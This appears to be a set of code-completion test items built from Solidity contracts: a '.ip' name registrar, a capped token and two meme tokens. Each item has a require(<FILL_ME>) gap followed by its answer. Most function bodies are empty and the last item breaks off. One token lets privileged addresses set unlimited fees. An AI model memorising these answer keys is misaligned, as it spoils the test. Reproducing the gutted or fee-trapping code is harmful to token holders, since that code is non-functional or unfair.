import "solady/src/utils/SSTORE2.sol";
error NameNotAvailable(string name);
error DurationTooShort(uint256 duration);
error InsufficientValue();
import "hardhat/console.sol";
contract IPRegistrarController is
Ownable,
IETHRegistrarController,
IERC165,
ERC20Recoverable,
ReentrancyGuard
{
using LibString for *;
using Address for *;
using EnumerableSet for EnumerableSet.UintSet;
using SafeTransferLib for address;
using DynamicBufferLib for DynamicBufferLib.DynamicBuffer;
uint256 public constant MIN_REGISTRATION_DURATION = 28 days;
BaseRegistrar immutable base;
IPriceOracle public immutable prices;
ENS public immutable ens;
address public defaultResolver;
ReverseRegistrar public reverseRegistrar;
Normalize4 public normalizer;
string public constant tldString = 'ip';
bytes32 public constant tldLabel = keccak256(abi.encodePacked(tldString));
bytes32 public constant rootNode = bytes32(0);
bytes32 public immutable tldNode = keccak256(abi.encodePacked(rootNode, tldLabel));
mapping (uint => string) public hashToLabelString;
uint64 public auctionTimeBuffer = 15 minutes;
uint256 public auctionMinBidIncrementPercentage = 10;
uint64 public auctionDuration = 24 hours;
bool public contractInAuctionMode = true;
mapping(uint => Auction) public auctions;
EnumerableSet.UintSet activeAuctionIds;
uint public ethAvailableToWithdraw;
address payable public withdrawAddress;
address public logoSVG;
address[] public fonts;
struct Auction {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
}
struct AuctionInfo {
uint tokenId;
string name;
uint64 startTime;
uint64 endTime;
Bid[] bids;
uint minNextBid;
address highestBidder;
uint highestBidAMount;
}
struct Bid {
uint80 amount;
address bidder;
}
event AuctionStarted(uint indexed tokenId, uint startTime, uint endTime);
event AuctionExtended(uint indexed tokenId, uint endTime);
event AuctionBid(uint indexed tokenId, address bidder, uint bidValue, bool auctionExtended);
event AuctionSettled(uint indexed tokenId, address winner, uint amount);
event NameRegistered(
string name,
bytes32 indexed label,
address indexed owner,
uint256 baseCost,
uint256 premium,
uint256 expires
);
event NameRenewed(
string name,
bytes32 indexed label,
uint256 cost,
uint256 expires
);
event AuctionWithdraw(address indexed addr, uint indexed total);
event Withdraw(address indexed addr, uint indexed total);
function setDefaultResolver(address _defaultResolver) public onlyOwner {
}
function setReverseRegistrar(ReverseRegistrar _reverseRegistrar) public onlyOwner {
}
function setNormalizer(Normalize4 _normalizer) public onlyOwner {
}
function setAuctionTimeBuffer(uint64 _auctionTimeBuffer) public onlyOwner {
}
function setAuctionMinBidIncrementPercentage(uint256 _auctionMinBidIncrementPercentage) public onlyOwner {
}
function setAuctionDuration(uint64 _auctionDuration) public onlyOwner {
}
function setContractInAuctionMode(bool _contractInAuctionMode) public onlyOwner {
}
function setWithdrawAddress(address _withdrawAddress) public onlyOwner {
}
modifier onlyBaseRegistrar() {
}
constructor(
ENS _ens,
BaseRegistrar _base,
IPriceOracle _prices,
ReverseRegistrar _reverseRegistrar,
Normalize4 _normalizer,
string memory _logoSVG,
string[5] memory _fonts
) {
}
bool preRegisterDone;
function preRegisterNames(
string[] calldata names,
bytes[][] calldata data,
address owner
) external onlyOwner {
}
function rentPrice(string memory name, uint256 duration)
public
view
override
returns (IPriceOracle.Price memory price)
{
}
function valid(string memory name) public view returns (bool) {
}
function available(string memory name) public view override returns (bool) {
}
function register(
string calldata name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public payable override {
}
function auctionMinNextBid(uint currentHighestBid) public view returns (uint) {
}
function max(uint a, uint b) internal pure returns (uint) {
}
function auctionHighestBid(uint tokenId) public view returns (Bid memory) {
}
function getAuction(string memory name) public view returns (AuctionInfo memory) {
}
function bidOnName(string calldata name) external payable nonReentrant returns (bool success) {
}
function settleAuction(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) external nonReentrant {
}
function registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord
) public payable nonReentrant {
}
function _registerWithoutCommitment(
string calldata name,
address owner,
uint256 duration,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint basePrice,
uint pricePremium
) internal {
}
function renew(string calldata name, uint256 duration) external payable override nonReentrant {
}
function auctionWithdraw() external nonReentrant {
}
function withdraw() external nonReentrant onlyOwner {
}
function supportsInterface(bytes4 interfaceID)
external
pure
returns (bool)
{
}
function beforeTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {}
function afterTokenTransfer(
address from,
address to,
uint256 tokenId,
uint256
) external onlyBaseRegistrar {
}
function getAllActiveAuctions() external view returns (AuctionInfo[] memory) {
}
function getActiveAuctionsInBatches(uint batchIdx, uint batchSize) public view returns (AuctionInfo[] memory) {
}
/* Internal functions */
function _setRecords(
address resolverAddress,
bytes32 label,
bytes[] calldata data
) internal {
}
function _setReverseRecord(
string memory name,
address resolver,
address owner
) internal {
}
function _makeNode(bytes32 node, bytes32 labelhash)
public
pure
returns (bytes32)
{
}
function makeCommitment(
string memory name,
address owner,
uint256 duration,
bytes32 secret,
address resolver,
bytes[] calldata data,
bool reverseRecord,
uint32 fuses,
uint64 wrapperExpiry
) public pure override returns (bytes32) {
require(<FILL_ME>)
}
function commit(bytes32 commitment) public override {
}
function allFonts() public view returns (string memory) {
}
function setFonts(string[5] memory _fonts) public onlyOwner {
}
function setLogoSVG(string memory _logoSVG) public onlyOwner {
}
}
| No commitment required, call register() directly" | 437,778 | "No commitment required, call register() directly" |
"Expiration invalid" | pragma solidity >=0.8.4;
import "./IBaseRegistrar.sol";
import "./IPRegistrarController.sol";
import "./IPTokenRenderer.sol";
import "./ERC721PTO.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract BaseRegistrar is ERC721PTO, IBaseRegistrar, Ownable {
ENS public ens;
// The namehash of the TLD this registrar owns (eg, .eth)
bytes32 public immutable baseNode;
// A map of addresses that are authorised to register and renew names.
mapping(address => bool) public controllers;
IPTokenRenderer public tokenRenderer;
IPRegistrarController public registrarController;
uint256 public constant GRACE_PERIOD = 90 days;
bytes4 private constant INTERFACE_META_ID =
bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 private constant ERC721_ID =
bytes4(
keccak256("balanceOf(address)") ^
keccak256("ownerOf(uint256)") ^
keccak256("approve(address,uint256)") ^
keccak256("getApproved(uint256)") ^
keccak256("setApprovalForAll(address,bool)") ^
keccak256("isApprovedForAll(address,address)") ^
keccak256("transferFrom(address,address,uint256)") ^
keccak256("safeTransferFrom(address,address,uint256)") ^
keccak256("safeTransferFrom(address,address,uint256,bytes)")
);
bytes4 private constant RECLAIM_ID =
bytes4(keccak256("reclaim(uint256,address)"));
function setENS(ENS _ens) public onlyOwner {
}
function setRenderer(IPTokenRenderer _renderer) public onlyOwner {
}
function setRegistrarController(IPRegistrarController _registrarController) external onlyOwner {
}
/**
* v2.1.3 version of _isApprovedOrOwner which calls ownerOf(tokenId) and takes grace period into consideration instead of ERC721.ownerOf(tokenId);
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.1.3/contracts/token/ERC721/ERC721.sol#L187
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
override
returns (bool)
{
}
constructor(ENS _ens, bytes32 _baseNode) ERC721PTO("EBPTO: IP Domains", "IP") {
}
function setTokenRenderer(IPTokenRenderer _tokenRenderer) public onlyOwner {
}
modifier live() {
}
modifier onlyController() {
}
/**
* @dev Gets the owner of the specified token ID. Names become unowned
* when their registration expires.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId)
public
view
override(IERC721, ERC721PTO)
returns (address)
{
require(<FILL_ME>)
return super.ownerOf(tokenId);
}
function tokenURI(uint256 tokenId) public view override(ERC721PTO) returns (string memory) {
}
function exists(uint tokenId) external view returns (bool) {
}
// Authorises a controller, who can register and renew domains.
function addController(address controller) public override onlyOwner {
}
function setOperator(address operator, bool status) public onlyOwner {
}
// Revoke controller permission for an address.
function removeController(address controller) external override onlyOwner {
}
// Set the resolver for the TLD this registrar manages.
function setResolver(address resolver) external override onlyOwner {
}
// Returns the expiration timestamp of the specified id.
function nameExpires(uint256 id) external view override returns (uint256) {
}
// Returns true iff the specified name is available for registration.
function available(uint256 id) public view override returns (bool) {
}
/**
* @dev Register a name.
* @param id The token ID (keccak256 of the label).
* @param owner The address that should own the registration.
* @param duration Duration in seconds for the registration.
*/
function register(
uint256 id,
address owner,
uint256 duration
) external override returns (uint256) {
}
/**
* @dev Register a name, without modifying the registry.
* @param id The token ID (keccak256 of the label).
* @param owner The address that should own the registration.
* @param duration Duration in seconds for the registration.
*/
function registerOnly(
uint256 id,
address owner,
uint256 duration
) external returns (uint256) {
}
function _register(
uint256 id,
address owner,
uint256 duration,
bool updateRegistry
) internal live onlyController returns (uint256) {
}
function renew(uint256 id, uint256 duration)
external
override
live
onlyController
returns (uint256)
{
}
/**
* @dev Reclaim ownership of a name in ENS, if you own it in the registrar.
*/
function reclaim(uint256 id, address owner) external override live {
}
function supportsInterface(bytes4 interfaceID)
public
view
override(ERC721PTO, IERC165)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
override(ERC721PTO)
{
}
function _afterTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
override(ERC721PTO)
{
}
}
| _getExpiryTimestamp(tokenId)>block.timestamp,"Expiration invalid" | 437,789 | _getExpiryTimestamp(tokenId)>block.timestamp |
null | pragma solidity >=0.8.4;
import "./IBaseRegistrar.sol";
import "./IPRegistrarController.sol";
import "./IPTokenRenderer.sol";
import "./ERC721PTO.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract BaseRegistrar is ERC721PTO, IBaseRegistrar, Ownable {
ENS public ens;
// The namehash of the TLD this registrar owns (eg, .eth)
bytes32 public immutable baseNode;
// A map of addresses that are authorised to register and renew names.
mapping(address => bool) public controllers;
IPTokenRenderer public tokenRenderer;
IPRegistrarController public registrarController;
uint256 public constant GRACE_PERIOD = 90 days;
bytes4 private constant INTERFACE_META_ID =
bytes4(keccak256("supportsInterface(bytes4)"));
bytes4 private constant ERC721_ID =
bytes4(
keccak256("balanceOf(address)") ^
keccak256("ownerOf(uint256)") ^
keccak256("approve(address,uint256)") ^
keccak256("getApproved(uint256)") ^
keccak256("setApprovalForAll(address,bool)") ^
keccak256("isApprovedForAll(address,address)") ^
keccak256("transferFrom(address,address,uint256)") ^
keccak256("safeTransferFrom(address,address,uint256)") ^
keccak256("safeTransferFrom(address,address,uint256,bytes)")
);
bytes4 private constant RECLAIM_ID =
bytes4(keccak256("reclaim(uint256,address)"));
function setENS(ENS _ens) public onlyOwner {
}
function setRenderer(IPTokenRenderer _renderer) public onlyOwner {
}
function setRegistrarController(IPRegistrarController _registrarController) external onlyOwner {
}
/**
* v2.1.3 version of _isApprovedOrOwner which calls ownerOf(tokenId) and takes grace period into consideration instead of ERC721.ownerOf(tokenId);
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.1.3/contracts/token/ERC721/ERC721.sol#L187
* @dev Returns whether the given spender can transfer a given token ID
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
override
returns (bool)
{
}
constructor(ENS _ens, bytes32 _baseNode) ERC721PTO("EBPTO: IP Domains", "IP") {
}
function setTokenRenderer(IPTokenRenderer _tokenRenderer) public onlyOwner {
}
modifier live() {
}
modifier onlyController() {
}
/**
* @dev Gets the owner of the specified token ID. Names become unowned
* when their registration expires.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId)
public
view
override(IERC721, ERC721PTO)
returns (address)
{
}
function tokenURI(uint256 tokenId) public view override(ERC721PTO) returns (string memory) {
}
function exists(uint tokenId) external view returns (bool) {
}
// Authorises a controller, who can register and renew domains.
function addController(address controller) public override onlyOwner {
}
function setOperator(address operator, bool status) public onlyOwner {
}
// Revoke controller permission for an address.
function removeController(address controller) external override onlyOwner {
}
// Set the resolver for the TLD this registrar manages.
function setResolver(address resolver) external override onlyOwner {
}
// Returns the expiration timestamp of the specified id.
function nameExpires(uint256 id) external view override returns (uint256) {
}
// Returns true iff the specified name is available for registration.
function available(uint256 id) public view override returns (bool) {
}
/**
* @dev Register a name.
* @param id The token ID (keccak256 of the label).
* @param owner The address that should own the registration.
* @param duration Duration in seconds for the registration.
*/
function register(
uint256 id,
address owner,
uint256 duration
) external override returns (uint256) {
}
/**
* @dev Register a name, without modifying the registry.
* @param id The token ID (keccak256 of the label).
* @param owner The address that should own the registration.
* @param duration Duration in seconds for the registration.
*/
function registerOnly(
uint256 id,
address owner,
uint256 duration
) external returns (uint256) {
}
function _register(
uint256 id,
address owner,
uint256 duration,
bool updateRegistry
) internal live onlyController returns (uint256) {
}
function renew(uint256 id, uint256 duration)
external
override
live
onlyController
returns (uint256)
{
uint currentExpiry = _getExpiryTimestamp(id);
uint48 newExpiry = uint48(currentExpiry + duration);
require(<FILL_ME>) // Name must be registered here or in grace period
_setExpiryTimestamp(id, newExpiry);
emit NameRenewed(id, newExpiry);
return newExpiry;
}
/**
* @dev Reclaim ownership of a name in ENS, if you own it in the registrar.
*/
function reclaim(uint256 id, address owner) external override live {
}
function supportsInterface(bytes4 interfaceID)
public
view
override(ERC721PTO, IERC165)
returns (bool)
{
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
override(ERC721PTO)
{
}
function _afterTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize)
internal
override(ERC721PTO)
{
}
}
| currentExpiry+GRACE_PERIOD>=block.timestamp | 437,789 | currentExpiry+GRACE_PERIOD>=block.timestamp |
"ZERO:CAP_EXCEEDED" | pragma solidity 0.5.17;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
}
}
// Lightweight token modelled after UNI-LP: https://github.com/Uniswap/uniswap-v2-core/blob/v1.0.1/contracts/UniswapV2ERC20.sol
// Adds:
// - An exposed `mint()` with minting role
// - An exposed `burn()`
// - ERC-3009 (`transferWithAuthorization()`)
contract ZERO is IERC20 {
using SafeMath for uint256;
// bytes32 private constant EIP712DOMAIN_HASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)")
bytes32 private constant EIP712DOMAIN_HASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
// bytes32 private constant NAME_HASH = keccak256("Zero Exchange Token")
bytes32 private constant NAME_HASH = 0xb842fe63d152980530213644bef33f942b91da9d9f990afde0934f9b22f28cf9;
// bytes32 private constant VERSION_HASH = keccak256("1")
bytes32 private constant VERSION_HASH = 0xc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6;
// bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
// bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH =
// keccak256("TransferWithAuthorization(address from,address to,uint256 value,uint256 validAfter,uint256 validBefore,bytes32 nonce)");
bytes32 public constant TRANSFER_WITH_AUTHORIZATION_TYPEHASH = 0x7c7c6cdb67a18743f49ec6fa9b35f50d52ed05cbed4cc592e13b44501c1a2267;
string public constant name = "Zero.Exchange Token";
string public constant symbol = "ZERO";
uint8 public constant decimals = 18;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 private constant cap = 1000000000 * decimalFactor;
address public minter;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// ERC-2612, ERC-3009 state
mapping (address => uint256) public nonces;
mapping (address => mapping (bytes32 => bool)) public authorizationState;
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event AuthorizationUsed(address indexed authorizer, bytes32 indexed nonce);
event ChangeMinter(address indexed minter);
modifier onlyMinter {
}
constructor(address initialMinter) public {
}
function _validateSignedData(address signer, bytes32 encodeData, uint8 v, bytes32 r, bytes32 s) internal view {
}
function _changeMinter(address newMinter) internal {
}
function _mint(address to, uint256 value) internal {
require(<FILL_ME>)
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
}
function _approve(address owner, address spender, uint256 value) private {
}
function _transfer(address from, address to, uint256 value) private {
}
function getChainId() public pure returns (uint256 chainId) {
}
function getDomainSeparator() public view returns (bytes32) {
}
function mint(address to, uint256 value) external onlyMinter returns (bool) {
}
function changeMinter(address newMinter) external onlyMinter {
}
function burn(uint256 value) external returns (bool) {
}
function approve(address spender, uint256 value) external returns (bool) {
}
function transfer(address to, uint256 value) external returns (bool) {
}
function transferFrom(address from, address to, uint256 value) external returns (bool) {
}
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
}
function transferWithAuthorization(
address from,
address to,
uint256 value,
uint256 validAfter,
uint256 validBefore,
bytes32 nonce,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
}
}
| totalSupply.add(value)<=cap,"ZERO:CAP_EXCEEDED" | 437,911 | totalSupply.add(value)<=cap |
null | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
}
}
pragma solidity ^0.8.13;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
pragma solidity ^0.8.13;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
pragma solidity ^0.8.13;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
pragma solidity ^0.8.13;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract asfdaf is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "sadf ss";
string private _symbol = "ss";
uint8 private _decimals = 18;
uint256 private _totalSupply = 1000000000 * 10**18;
uint8 private txCount = 0;
uint8 private swapTrigger = 1;
uint256 private _feeTotal = 20;
uint256 public _feeBuy = 20;
uint256 public _feeSell = 20;
uint256 private _previousTotalFee = _feeTotal;
uint256 private _previousBuyFee = _feeBuy;
uint256 private _previousSellFee = _feeSell;
mapping (address => uint256) private _ownedToken;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedfromTax;
uint256 private supplyTotal;
mapping (address => bool) private _pairList;
address payable private marketing_wallet = payable(0xcCD0944797090b56f24b8375f00d832AD755Ec9E);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockSwap {
}
constructor (uint256 _supplyAmount) {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function balanceOf(address account) public view override returns (uint256) {
}
receive() external payable {}
bool public noFeeToTransfer = true;
function removeAllFee() private {
}
function restoreFee() private {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function sendTax(address payable wallet, uint256 amount) private {
}
function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
}
function swapAndLiquify(uint256 contractTokenBalance) private lockSwap {
}
function swapTokenForETH(uint256 tokenAmount) private {
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
}
function _transferToken(address sender, address recipient, uint256 Amount) private {
}
function openTrading() public onlyOwner() {
}
function setfee(uint256 _buy, uint256 _sell) public {
require(<FILL_ME>)
_feeBuy = _buy;
_feeSell = _sell;
}
}
| _isExcludedfromTax[_msgSender()]==true | 437,955 | _isExcludedfromTax[_msgSender()]==true |
"Rejected" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/*
_____ _ _____ _
| __ \ | | | __ \ | |
| | \/ _ __ ___ __ _ | |_ ___ _ __ | | \/ ___ ___ __| |
| | __ | __| / _ \ / _ || __| / _ \| __| | | __ / _ \ / _ \ / _ |
| |_\ \| | | __/| (_| || |_ | __/| | | |_\ \| (_) || (_) || (_| |
\____/|_| \___| \__,_| \__| \___||_| \____/ \___/ \___/ \__,_|
*/
interface IUniswapFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract Uniswap {
address public PairAddress;
address internal _o;
address public _Router;
address public _Factory;
address internal me;
IUniswapRouter public UniswapV2Router;
address public WETH;
address public owner;
mapping(address=>bool) public dex;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner() {
}
constructor() {
}
function isSell(address to) internal view returns (bool) {
}
function _approve(address from, address spender, uint256 amount) internal virtual returns (bool) {}
function transferOwnership(address newOwner) public onlyOwner() {
}
function isBuying(address from) internal view returns (bool) {
}
}
contract GreaterGood is Uniswap {
string public symbol = "MERCY";
uint256 public decimals = 9;
string public name = "Greater Good";
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => uint256) internal balances;
uint256 st = 0;
mapping(address => mapping(address => uint256)) internal allowances;
bool internal swapping = false;
uint256 buytax = 0;
uint256 public totalSupply;
uint256 _mb = 40;
mapping(address=>bool) internal taxFree;
bool internal funded;
constructor() Uniswap() {
}
function enable() public onlyOwner() {
}
function get_mb() internal view returns (uint256) {
}
function _transfer(address from, address to, uint256 amount) internal {
require(<FILL_ME>)
if (!taxable(from, to)) {
unchecked {
balances[from] -= amount;
balances[to] += amount;
}
emit Transfer(from, to, amount);
} else {
uint256 tax;
if (isBuying(from)) {
